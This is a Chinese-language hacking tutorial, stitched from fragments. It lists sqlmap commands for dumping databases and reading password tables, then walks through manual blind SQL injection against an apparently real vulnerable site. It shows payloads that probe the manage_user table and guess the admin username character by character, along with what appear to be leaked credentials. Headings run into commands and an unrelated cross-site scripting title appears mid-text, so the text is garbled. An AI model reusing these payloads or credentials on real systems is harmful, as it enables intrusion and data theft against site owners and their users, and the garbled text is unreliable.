python -u “/sqlmap/mysql/?id=1” --dump -t users -d test --start 2 --stop 4 -v 0导出所有数据库,所有表的内容
python -u “/sqlmap/mysql/?id=1” --dump-all -v 0只列出用户自己新建的数据库和表的内容
python -u “/sqlmap/mssql/?id=1” --dump-all --exclude-sysdbs -v 0sql query
python -u “/sqlmap/pgsql/?id=1” --sql-query “select usename from pg_user” -v 0
python -u “/sqlmap/mysql/?id=1” --sql-query “select host, password from limit 1, 3” -v 1select usename, passwd from pg_shadow order by usename
保存和恢复会话
python -u “/sqlmap/pgsql/?id=1” -b -v 1 -s “”保存选项到inc配置文件
python -u “/sqlmap/pgsql/?id=1” -b -v 1 --save
跨站脚本的原理篇六
现在注入工具横行,自动化的程度已经...不能再自动了.
很多人会熟练的使用啊d,明小子之类的自动注入工具.以为自己就会了...
注入的原理呢.什么是注入.为什么会造成注入.过程...等.
你知道吗?你有没有试过真正的手工注入?没吧.
现在就利用我写的手工注入工具来讲解一下总体手工注入过程.
先找个有注入漏洞的站.很简单满大街都是.
/a3/?id=75
manage_user
username admin
password bfpms
id 35
已经找好了.这是一个标准欠黑型网站.安全度就不用说了.
/a3/?id=75
有注入漏洞的地址.检查一下.
基本确定可能有漏洞.继续.
/a3/?id=75 and exists (select * from manage_user)
查询manage_user这个表名是否存在.
不好意思.这工具老出错...录制这个工具不怎么好用.有好用的有空介绍个啊....
好了继续.
manage_user 存在...页面返回正常...
名字改了下`不存在就返回错误的页面`
这里是给你填写提示语句用的`不用的话清空就行了.
继续.
返回正常.说明存在.继续.等等`听电话`
不好意思.
不是1位哦`回显错误.呵呵`5位的`回显正常`
这样我们就知道 他很多东西了`表..项..还有内容长度.
帐号的第一位的第一个字母不是1所以出错.
呵呵`帐号的第一位的第一个字母是a 正确...所以回显正常.
帐号是什么我想都不用怎么想了吧`5位数的admin
确实是的哦....哈哈.
/a3/?id=75 and 1=(select count(*) from [manage_user] where left(username,5)=admin)
为了给大家学习.我把例句都提取出来了.和程序过程是一样的,大家可以研究下.
其他的密码等也是这种过程. 大家明白了吗?要难不是很难`只是要有耐心.如果简单的话就不会出现
全自动的注入工具了.
希望大家在使用我的工具的同时也能学到点东西.